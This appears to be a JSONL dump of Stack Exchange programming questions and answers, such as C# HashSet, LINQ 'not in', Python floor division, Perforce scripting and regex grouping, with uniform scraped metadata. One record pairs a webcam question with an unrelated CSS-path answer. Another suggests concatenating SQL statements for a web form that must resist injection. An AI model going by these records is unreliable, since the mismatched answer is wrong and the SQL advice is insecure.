{"id": "hf_13a74652f577", "question": "<p>Does anyone know if there is a good equivalent to Java's <code>Set</code> collection in C#? I know that you can somewhat mimic a set using a <code>Dictionary</code> or a <code>HashTable</code> by populating but ignoring the values, but that's not a very elegant way. </p>\n", "question_body": "", "answer": "Try\nHashSet\n:\nThe HashSet(Of T) class provides high-performance set operations. A set is a collection that contains no duplicate elements, and whose elements are in no particular order...\nThe capacity of a HashSet(Of T) object is the number of elements that the object can hold. A HashSet(Of T) object's capacity automatically increases as elements are added to the object.\nThe HashSet(Of T) class is based on the model of mathematical sets and provides high-performance set operations similar to accessing the keys of the\nDictionary(Of TKey, TValue)\nor\nHashtable\ncollections. In simple terms, the HashSet(Of T) class can be thought of as a\nDictionary(Of TKey, TValue)\ncollection without values.\nA HashSet(Of T) collection is not sorted and cannot contain duplicate elements...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.199297"}
{"id": "hf_fdaea35180a2", "question": "<p>I am building a blog type page, and I want to load items into the page as the user scrolls down, much like Google Reader, or Soup.io. How would you go about achieving this effect? I've seen some examples which read the height of the page, and have an onScroll even attached to the window so that as the user scrolls down we can test to see if they've scrolled down far enough to warrant loading more items. Soup.io's implementation seems to remove the old items as you scroll down so that the browser isn't dealing with an ever-increasingly large DOM tree. Which javascript libraries would be best suited to this task?</p>\n", "question_body": "", "answer": "Unspace had an article demonstrating this functionality:\nEndless Pageless: No More Next Page\n.  Their demonstration page is\nhere\n(dead, for reference).\nThis particular example uses RoR and\nPrototype.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.317302"}
{"id": "hf_69f2564d1730", "question": "<p>I have two collections which have property <code>Email</code> in both collections. I need to get a list of the items in the first list where <code>Email</code> does not exist in the second list. With SQL I would just use \"not in\", but I do not know the equivalent in LINQ. How is that done?</p>\n\n<p>So far I have a join, like...</p>\n\n<pre><code>var matches = from item1 in list1\njoin item2 in list2 on item1.Email equals item2.Email\nselect new { Email = list1.Email };\n</code></pre>\n\n<p>But I cannot join since I need the difference and the join would fail. I need some way of using Contains or Exists I believe. I just have not found an example to do that yet.</p>\n", "question_body": "", "answer": "I don't know if this will help you but..\n```\n```\nNorthwindDataContext dc = new NorthwindDataContext();    \ndc.Log = Console.Out;\n\nvar query =    \n    from c in dc.Customers    \n    where !(from o in dc.Orders    \n            select o.CustomerID)    \n           .Contains(c.CustomerID)    \n    select c;\n\nforeach (var c in query) Console.WriteLine( c );\n```\n```\nfrom\nThe NOT IN clause in LINQ to SQL\nby\nMarco Russo", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.365556"}
{"id": "hf_28113823210e", "question": "<p>Is there a benefit to using one over the other? In Python 2, they both seem to return the same results:</p>\n\n<pre><code>&gt;&gt;&gt; 6/3\n2\n&gt;&gt;&gt; 6//3\n2\n</code></pre>\n", "question_body": "", "answer": "```\n//\n```\nis floor division. It will always give you the integer floor of the result.  The other is 'regular' division.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.425751"}
{"id": "hf_07aed6db9e51", "question": "<p>Is there any way to clean up this type of loop using LINQ?</p>\n\n<pre><code>  List&lt;Car&gt; result;\n  List&lt;string&gt; makes;\n  List&lt;string&gt; models;\n\n  for (int i = 0; i &lt; makes.Count() &amp;&amp; i &lt; models.Count(); i++)\n  {\n    result.Add(new Car() { Make = makes[i], Model = models[i] });\n  }\n</code></pre>\n\n<p>Basically I'm looking for some way to collate multiple arrays of individual fields into a single array of objects made up of those fields. </p>\n", "question_body": "", "answer": "You could use\n```\nEnumerable.Range\n```\n, like so:\n```\n```\nList<Car> result = Enumerable.Range(0, Math.Min(makes.Count, models.Count))\n    .Select(i => new Car { Make = makes[i], Model = models[i] }).ToList();\n```\n```\nIf\n```\nmakes\n```\nand\n```\nmodels\n```\nalways contain the same number of items, you can use more compact syntax:\n```\n```\nList<Car> result = makes.Select((make, i) => new Car { Make = make, Model = models[i] }).ToList();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.452863"}
{"id": "hf_3d6caf2fc37e", "question": "<p>I'm working on a home project that involves comparing images to a database of images (using a quadrant - or so - histogram approach).  I wanted to know what my options are in regards to web cams or other image capture devices that:</p>\n\n<ul>\n<li>Are easy to work with with the\nWindows SDK (particularly\n<a href=\"http://msdn.microsoft.com/en-us/library/ms783323(VS.85).aspx\" rel=\"nofollow noreferrer\">DirectShow</a>, which I plan to use\nwith C#) </li>\n<li>Have drivers for both\n64-bit and 32-bit Windows Vista (and\nServer 2008)</li>\n</ul>\n\n<p>I'm asking primarily so I can avoid pitfalls that other people may have experienced with web cams and to see if there are other image capture devices (or C# usable APIs) available that I should look at.  I suspect that any old web cam will do but I'd rather be safe than sorry.</p>\n", "question_body": "", "answer": "As per\nScottGu\n,\nOne tip to take advantage of is the relative path fix-up support provided by the head runat=\"server\" control.  You can use this within Master Pages to easily reference a .CSS stylesheet that is re-used across the entire project (regardless of whether the project is root referenced or a sub-application):\nThe path fix-up feature of the head control will then take the relative .CSS stylesheet path and correctly output the absolute path to the stylesheet at runtime regardless of whether it is a root referenced web-site or part of a sub-application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.489581"}
{"id": "hf_a1ce79145ace", "question": "<p>How do I do forward referencing / declaration in C++ to avoid circular header file references?</p>\n\n<p>I have the #ifndef guard in the header file, yet memory tells me I need this forward referencing thing - which i've used before >&lt; but can't remember how. </p>\n", "question_body": "", "answer": "You predeclare the class without including it.  For example:\n```\n```\n//#include \"Foo.h\" // including Foo.h causes circular reference\nclass Foo;\n\nclass Bar\n{\n...\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.537129"}
{"id": "hf_7cb48dd8665d", "question": "<p>In the following code below:</p>\n\n<pre><code>Image img = new Image();\nimg.Source = new BitmapImage(new Uri(\"http://someURL/somefilename.jpg\", UriKind.Absolute));\n</code></pre>\n\n<p>how can I determine if the image successfully loaded (when there's a valid URI)? i.e., The URI is a valid format, but the file may not exist.  </p>\n", "question_body": "", "answer": "```\nImage\n```\nhas an\n```\nImageFailed\n```\nevent.\n```\nBitmapSource\n```\n(base for\n```\nBitmapImage\n```\n) has an\n```\nIsDownloading\n```\nproperty, as well as\n```\nDownloadProgress\n```\n,\n```\nDownloadCompleted\n```\n, and\n```\nDownloadFailed\n```\nevents.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.572528"}
{"id": "hf_694fc0b8645a", "question": "<p>Say you've loaded a text file into a string, and you'd like to convert all Unicode escapes into actual Unicode characters inside of the string. </p>\n\n<p>Example:</p>\n\n<blockquote>\n  <p>\"The following is the top half of an integral character in Unicode '\\u2320', and this is the lower half '\\U2321'.\"</p>\n</blockquote>\n", "question_body": "", "answer": "The answer is simple and works well with strings up to at least several thousand characters.\nExample 1:\n```\n```\nRegex  rx = new Regex( @\"\\\\[uU]([0-9A-F]{4})\" );\nresult = rx.Replace( result, match => ((char) Int32.Parse(match.Value.Substring(2), NumberStyles.HexNumber)).ToString() );\n```\n```\nExample 2:\n```\n```\nRegex  rx = new Regex( @\"\\\\[uU]([0-9A-F]{4})\" );\nresult = rx.Replace( result, delegate (Match match) { return ((char) Int32.Parse(match.Value.Substring(2), NumberStyles.HexNumber)).ToString(); } );\n```\n```\nThe first example shows the replacement being made using a lambda expression (C# 3.0) and the second uses a delegate which should work with C# 2.0.\nTo break down what's going on here, first we create a regular expression:\n```\n```\nnew Regex( @\"\\\\[uU]([0-9A-F]{4})\" );\n```\n```\nThen we call Replace() with the string 'result' and an anonymous method (lambda expression in the first example and the delegate in the second - the delegate could also be a regular method) that converts each regular expression that is found in the string.\nThe Unicode escape is processed like this:\n```\n```\n((char) Int32.Parse(match.Value.Substring(2), NumberStyles.HexNumber)).ToString(); });\n```\n```\nGet the string representing the number part of the escape (skip the first two characters).\n```\n```\nmatch.Value.Substring(2)\n```\n```\nParse that string using Int32.Parse() which takes the string and the number format that the Parse() function should expect which in this case is a hex number.\n```\n```\nNumberStyles.HexNumber\n```\n```\nThen we cast the resulting number to a Unicode character:\n```\n```\n(char)\n```\n```\nAnd finally we call ToString() on the Unicode character which gives us its string representation which is the value passed back to Replace():\n```\n```\n.ToString()\n```\n```\nNote: Instead of grabbing the text to be converted with a Substring call you could use the match parameter's GroupCollection, and a subexpressions in the regular expression to capture just the number ('2320'), but that's more complicated and less readable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.596623"}
{"id": "hf_f7ec88650cf4", "question": "<pre><code>echo $_POST[\"name\"]; //returns the value a user typed into the \"name\" field\n</code></pre>\n\n<p>I would like to be able to also return the text of the key. In this example, I want to return the text \"name\". Can I do this?</p>\n", "question_body": "", "answer": "```\n```\narray_keys($_POST)\n```\n```\nManual", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.633547"}
{"id": "hf_2e34f634b568", "question": "<p>I'd like all queries like</p>\n\n<pre><code>http://mysite.com/something/otherthing?foo=bar&amp;x=y\n</code></pre>\n\n<p>to be rewritten as</p>\n\n<pre><code>http://mysite.com/something/otherthing.php?foo=bar&amp;x=y\n</code></pre>\n\n<p>In other words, just make the .php extension optional, universally.</p>\n", "question_body": "", "answer": "Something like...\n```\n```\nRewriteRule /something/(.+)?(.+) /something/$1.php?$2\n```\n```\nwould probably work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.658223"}
{"id": "hf_0439bb6cf181", "question": "<p>How do I create subdomain like <code>http://user.mywebsite.example</code>? Do I have to access <code>.htaccess</code> somehow? Is it actually simply possible to create it via pure PHP code or I need to use some external script-server side language?</p>\n<p>To those who answered: Well, then, should I ask my hosting if they provide some sort of DNS access?</p>\n", "question_body": "", "answer": "In addition to configuration changes on your WWW server to handle the new subdomain, your code would need to be making changes to your DNS records.  So, unless you're running your own BIND (or similar), you'll need to figure out how to access your name server provider's configuration.  If they don't offer some sort of API, this might get tricky.\nUpdate: yes, I would check with your registrar if they're also providing the name server service (as is often the case).  I've never explored this option before but I suspect most of the consumer registrars do not.  I Googled for GoDaddy APIs and GoDaddy DNS APIs but wasn't able to turn anything up, so I guess the best option would be to check out the online help with your provider, and if that doesn't answer the question, get a hold of their support staff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.706270"}
{"id": "hf_6acb0c658957", "question": "<p>I can't find this anywhere in the Domino Designer help. It seems so straightforward!</p>\n\n<p>All I need to do is find the position of a character in a string.</p>\n", "question_body": "", "answer": "(edited) Please see the answer from charles ross instead.\nhttps://stackoverflow.com/a/19437044/11293\nMy less efficient method is below.\nIf you really need the character position though you could do this:\n```\n```\nREM {\n    S  Source string\n    F  Character to find\n    R  Location of character in string or 0\n};\n\nS := \"My string\";\nF := \"t\";\nLEN_S := @Length(S);\nR := 0;\n\n@For(I := 1; I < LEN_S; I := I + 1;\n    @If(@Middle(S; I; 1) = F;\n        @Do(R := I; I := LEN_S);\n        @Nothing\n    )\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.810984"}
{"id": "hf_995caa451538", "question": "<p>Can an XML attribute be the empty string?</p>\n\n<p>In other words, is</p>\n\n<pre><code>&lt;element att=\"\" /&gt;\n</code></pre>\n\n<p>valid XML?</p>\n", "question_body": "", "answer": "Yes, this is well-formed XML.\nAn easy way to test this (on Windows) is to save the sample in a\n```\ntest.xml\n```\nfile and open it with Internet Explorer. IE will display an error message if the document is not well-formed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.834609"}
{"id": "hf_d266358f430b", "question": "<p>When I debug locally in fire fox 2.0x many times my page won't have the styles added properly or the page will not completely render (the end is seemingly cut off). Sometimes it takes multiple refreshes or shift-refreshes to fix this. Is this a common issue or is it just me? Any solutions?</p>\n\n<p>I want to add that this is happening in fire fox 3.x to me as well. I add my javascript to the pages dynamically and this might be part of the issue. This is when I am working locally with Visual Studio.</p>\n\n<p>Update: This does happen in IE but it happens much more often in Fire Fox. The issue seems to be only javascript and CSS files not loading. For example I get jQuery is not defined, $ is not defined etc. I don't think I have local IIS to test this on but from the server it always works perfectly. Fire Bug shows all my css and javascript files to be requested and received.</p>\n", "question_body": "", "answer": "One thing to do would be to check the source of the page(s) in question. My guess would be that the local server that VS runs is not giving you the entire source of the page. One way to verify this would be to run exactly the same code in the debug environment, as well as from a \"real\" server like IIS 6. If the same behavior is seen on loading the page from both servers, as well as insuring that the full page source is being recieved by the browser(s), then it is a bug in Firefox and should be reported. This is especially true if other browsers, ie. IE, Chrome, Safari, Opera, render the page fully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.968163"}
{"id": "hf_122a7036c0be", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/19147/what-is-the-correct-way-to-create-a-single-instance-application\">What is the correct way to create a single instance application?</a>  </p>\n</blockquote>\n\n\n\n<p>How to force C# .net app to run only one instance in Windows?</p>\n", "question_body": "", "answer": "I prefer a mutex solution similar to the following.  As this way it re-focuses on the app if it is already loaded\n```\n```\nusing System.Threading;\n\n[DllImport(\"user32.dll\")]\n[return: MarshalAs(UnmanagedType.Bool)]\nstatic extern bool SetForegroundWindow(IntPtr hWnd);\n\n/// <summary>\n/// The main entry point for the application.\n/// </summary>\n[STAThread]\nstatic void Main()\n{\n   bool createdNew = true;\n   using (Mutex mutex = new Mutex(true, \"MyApplicationName\", out createdNew))\n   {\n      if (createdNew)\n      {\n         Application.EnableVisualStyles();\n         Application.SetCompatibleTextRenderingDefault(false);\n         Application.Run(new MainForm());\n      }\n      else\n      {\n         Process current = Process.GetCurrentProcess();\n         foreach (Process process in Process.GetProcessesByName(current.ProcessName))\n         {\n            if (process.Id != current.Id)\n            {\n               SetForegroundWindow(process.MainWindowHandle);\n               break;\n            }\n         }\n      }\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.991366"}
{"id": "hf_cf621cc586ae", "question": "<p>Suppose there is a fully populated array of data String[n][3] myData.</p>\n\n<p>I want to do this:</p>\n\n<pre><code>for (String[] row : myData)\n{\n   SQL = \"update mytable set col3 = row[2]\n   where col1 = row[0] and col2=row[1];\" \n}\n</code></pre>\n\n<p>Obviously I've left a lot out, but I want to express the idea as succinctly as possible.</p>\n\n<p>Is there a simple way of doing this in a single DB command?\nHow about a not so simple way?</p>\n\n<p>EDITS:\nData is not coming from another table (it's a web form submission - Multiple Choice exam)<br>\nSeeing as the app is web facing, It's got to be injection proof.  Parameterized Queries are my preferred way of going.<br>\nI'm using MS-SQL Server 2005</p>\n\n<p>EDIT:Closing, and re-asking as <a href=\"https://stackoverflow.com/questions/184471/multiple-db-updates\">Multiple DB Updates:</a></p>\n\n<p>EDIT: Re-opened, as this appears to be a popular question</p>\n", "question_body": "", "answer": "You can make a big string like:\n```\n```\nfor (String[] row : myData)\n{\n   SQL += \"update mytable set col3 = row[2]\n   where col1 = row[0] and col2=row[1];\" \n}\n\nsqlDriver.doInsertQuery(SQL); // change this to your way of inserting into the db\n```\n```\nAnd just commit it all at once. I'm not very good with SQL so that's how i would do it.\nThe sql engine will just split it by the ';' and do separate inserts on its own. It's ok to add it all in a string though. It's kind the same as if u copy a big string with multiple updates/inserts into the sql prompt", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.039603"}
{"id": "hf_b9802ad9c6fa", "question": "<p>I want to have a reusable button which can be registered for one of many different callbacks, determined by an external source. When a new callback is set, I want to remove the old. I also want to be able to clear the callback externally at any time.</p>\n\n<pre><code>public function registerButtonCallback(function:Function):void\n{\n  clearButtonCallback();\n\n  button.addEventListener(MouseEvent.CLICK, function, false, 0, true);\n}\n\npublic function clearButtonCallback():void\n{\n  if (button.hasEventListener(MouseEvent.CLICK) == true)\n  {\n    // do something to remove that listener\n  }\n}\n</code></pre>\n\n<p>I've seen suggestions on here to use \"arguments.callee\" within the callback, but I don't want to have that functionality tied to the callback - for example, I might want to be able to click the button twice.</p>\n\n<p>Suggestions?</p>\n", "question_body": "", "answer": "I am presuming that you want only one callback function at any given time.  If that's teh case then why not have a single callback function associated with the click event on the button which itself called a function and have that function be settable...\n```\n```\n<mx:Button click=\"doCallback()\" .../>\n\npublic var onClickFunction:Function = null;\nprivate function doCallback():void\n{\n    if (onClickFunction != null)\n    {\n        onClickFunction(); // optionally you can pass some parameters in here if you match the signature of your callback\n    }\n}\n```\n```\nA consumer of your control which houses your button would set the onClickFunction with the appropriate function.  In fact you could set it as often as you liked.\nIf you wanted to go one step further you could subclass the AS3 Button class and wrap all of this inside it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.063264"}
{"id": "hf_b9ce4d38be46", "question": "<p>One problem I have with open-source is not often the product or documentation, but the level of community involvement and support. Response time for some questions on official forums can take more than a week, which can honestly make a big difference when choosing a platform for commercial services use. However, I find that evaluating the community beforehand is very difficult. How do I know what are the most common issues, and whether or not people are getting support for them? How do I know what problems I personally might encounter based upon my project, which would require some level of community support? Do you have a formula for performing this evaluation?</p>\n", "question_body": "", "answer": "If your question is posed because you don't want to pay for support, then I think your best bet is to ask questions about a specific project on neutral forums like this and see what others have experienced in terms of support and timeliness of resolution to issues.\nIf you are willing to pay for support, there are companies that provide commercial support for open source projects, like\nOpenLogic\nas an example that could factor into your formula.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.175579"}
{"id": "hf_ab7cf2bf2dc5", "question": "<p>I want to do an HTTP POST that looks like an HMTL form posted from a browser. Specifically, post some text fields and a file field.</p>\n\n<p>Posting text fields is straightforward, there's an example right there in the net/http rdocs, but I can't figure out how to post a file along with it.</p>\n\n<p>Net::HTTP doesn't look like the best idea. <a href=\"http://curb.rubyforge.org/\" rel=\"noreferrer\">curb</a> is looking good.</p>\n", "question_body": "", "answer": "Ok, here's a simple example using curb.\n```\n```\nrequire 'yaml'\nrequire 'curb'\n\n# prepare post data\npost_data = fields_hash.map { |k, v| Curl::PostField.content(k, v.to_s) }\npost_data << Curl::PostField.file('file', '/path/to/file'), \n\n# post\nc = Curl::Easy.new('http://localhost:3000/foo')\nc.multipart_form_post = true\nc.http_post(post_data)\n\n# print response\ny [c.response_code, c.body_str]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.199723"}
{"id": "hf_983fd978946d", "question": "<p>I would like to write some scripts in python that do some automated changes to source code. If the script determines it needs to change the file I would like to first check it out of perforce. I don't care about checking in because I will always want to build and test first. </p>\n", "question_body": "", "answer": "Here's what I came up with:\n```\n```\nimport os\n\ndef CreateNewChangeList(description):\n    \"Create a new changelist and returns the changelist number as a string\"\n    p4in, p4out = os.popen2(\"p4 changelist -i\")\n    p4in.write(\"change: new\\n\")\n    p4in.write(\"description: \" + description)\n    p4in.close()\n    changelist = p4out.readline().split()[1]\n    return changelist\n\ndef OpenFileForEdit(file, changelist = \"\"):\n    \"Open a file for edit, if a changelist is passed in then open it in that list\"\n    cmd = \"p4 edit \"\n    if changelist:\n        cmd += \" -c \" + changelist + \" \"\n    ret = os.popen(cmd + file).readline().strip()\n    if not ret.endswith(\"opened for edit\"):\n        print \"Couldn't open\", file, \"for edit:\"\n        print ret\n        raise ValueError\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.227286"}
{"id": "hf_02902981e3ad", "question": "<p>Using the SharePoint API, how can I modify an extended webapp web.config file?</p>\n<p>I have to do some changes in this file to specify the connection string, membershipprovider, etc... for using Forms Authentication.</p>\n<p>Currently, I can change the &quot;master&quot; webapplication web.config file, but not the extended one.</p>\n<blockquote>\n<p>Edited</p>\n<p>I'm using Sp 2007. I'm already using SPWebConfigModification class to modify the parent webapp. Thoses modifications are propagated to the extended webapp. I have to change ONLY the extended one. But I don't find the way to do it.</p>\n<p>What I'm trying to achieve, is to program a little wizard that:</p>\n<ul>\n<li>Shows a WebApp list so the user can select one</li>\n<li>Extend that selected webapp to a different zone</li>\n<li>Configure that extended zone to use Forms Authentication</li>\n</ul>\n</blockquote>\n<p>Thanks</p>\n", "question_body": "", "answer": "Quick answer: look into the SPWebConfigModification class. I am assuming you're using SharePoint 2007. The best way to learn about this is to dig into open source projects:\nGoogle code search:\nhttp://www.google.com/codesearch?q=spwebconfigmodification&hl=en&btnG=Search+Code\nThis project on CodePlex looks like it's one big SPWebConfigModification:\nhttp://www.codeplex.com/ajaxifymoss/Release/ProjectReleases.aspx?ReleaseId=13360", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.274884"}
{"id": "hf_0cb164227e99", "question": "<p>We may start converting an old VS2003 MFC project to use the fancy new features provided by the MFC Feature Pack and VS2008. Several of the new UI controls would be very nice except for one thing - they automatically save their information to the registry. I don't have a problem with the registry, but for the multiple environments the users use out program from, it's much easier to save user data to the database. </p>\n\n<p>So, I'm hoping that there is one main \"access the registry\" function that could be overloaded to point the database. But brief investigation hasn't turned up anything. Has anyone else had any success doing something similar?</p>\n", "question_body": "", "answer": "The MFC feature pack uses code supplied by BCGSoft and they added this feature (so you can save state to an XML file, database, etc.) way back in 2001.  I don't have the feature pack on this PC but try looking for a class called something like\n```\nCMFCRegistrySP\n```\n.\nI will check myself tomorrow.\nDoes the\n```\nStateCollection\n```\nsample do this?\nhttp://msdn.microsoft.com/en-us/library/bb983406.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.310187"}
{"id": "hf_4f90ead3bcc6", "question": "<p>What exactly does the word patch mean when referring to 'submitting a patch'?</p>\n\n<p>I've seen this used a lot, especially in the open source world. What what does it mean and what exactly is involved in submitting a patch?</p>\n", "question_body": "", "answer": "It's a file with a list of differences between the code files that have changed.  It's usually in the format generated by doing a\ndiff -u\non the two files.  Most version control systems allow the easy creation of patches but it's generally in that same format.\nThis allows the code change to be easily applied to someone else's copy of the source code using the\npatch\ncommand.\nFor example:\nLet's say I have the following code:\n```\n```\n<?php\n  $foo = 0;\n?>\n```\n```\nand I change it to this:\n```\n```\n<?php\n  $bar = 0;\n?>\n```\n```\nThe patch file might look like this:\n```\n```\nIndex: test.php\n===================================================================\n--- test.php    (revision 40)\n+++ test.php    (working copy)\n@@ -3,7 +3,7 @@\n         <?php\n-            $foo = 0;\n+            $bar= 0;\n         ?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.369992"}
{"id": "hf_8d48c346b1fa", "question": "<p>I know there are <a href=\"https://stackoverflow.com/questions/11737/net-library-to-unzip-zip-and-rar-files\">libraries out there for working with ZIP files</a>. And, you can alternatively <a href=\"https://stackoverflow.com/questions/30211/windows-built-in-zip-compression-script-able\">use the functionality built into Windows for working ZIP files</a>.</p>\n\n<p>But, I'm wondering if anyone has worked out how to use the tools built into the System.IO.Compression namespace within .NET for reading/writing ZIP files? Or, is it not possible using only this namespace?</p>\n\n<p>UPDATED: I've seem someone comment that the System.IO.Packaging namespace might be usefull with this also. Does anyone know exactly how to do it?</p>\n", "question_body": "", "answer": "MSDN has a complete\nexample\nhttp://msdn.microsoft.com/en-us/library/system.io.packaging.zippackage.aspx\nusing the ZipPackage class.   Requires .NET 3.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.406207"}
{"id": "hf_c4b3ac759d90", "question": "<p>I have this .NET regex:</p>\n\n<pre><code>^(?&lt;prefix&gt;(\"[^\"]*\"))\\s(?&lt;attrgroup&gt;(\\([^\\)]*\\)))\\s(?&lt;suffix&gt;(\"[^\"]*\"))$\n</code></pre>\n\n<p>It properly matches the following strings:</p>\n\n<pre><code>\"some prefix\" (\"attribute 1\" \"value 1\") \"some suffix\"\n\"some prefix\" (\"attribute 1\" \"value 1\" \"attribute 2\" \"value 2\") \"some suffix\"\n</code></pre>\n\n<p>It fails on...</p>\n\n<pre><code>\"some prefix\" (\"attribute 1\" \"value (fail) 1\") \"some suffix\"\n</code></pre>\n\n<p>...due to the right paren after \"fail\".</p>\n\n<p>How can I modify my regex so that the <code>attrgroup</code> match group will end up containing \"<code>(\"attribute 1\" \"value (fail) 1\")</code>\"? I've been looking at it for too long and need some fresh eyes. Thanks!</p>\n\n<p><strong>Edit:</strong> <code>attrgroup</code> won't ever contain anything other than pairs of double-quoted strings.</p>\n", "question_body": "", "answer": "```\n```\n^(?<prefix>\"[^\"]*\")\\s+(?<attrgroup>\\(.*\\))\\s+(?<suffix>\"[^\"]*\")$\n```\n```\nfixed it for me.\nI removed the extraneous unnamed groups and simplified (down to \"any character\") the attribute group.\nA\nvery\nworthwhile investment would be JG Soft's RegexBuddy\nEdit: This won't validate the attribute group as pairs of quoted strings, but that should/could be done in a separate regex/validation step.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.441968"}
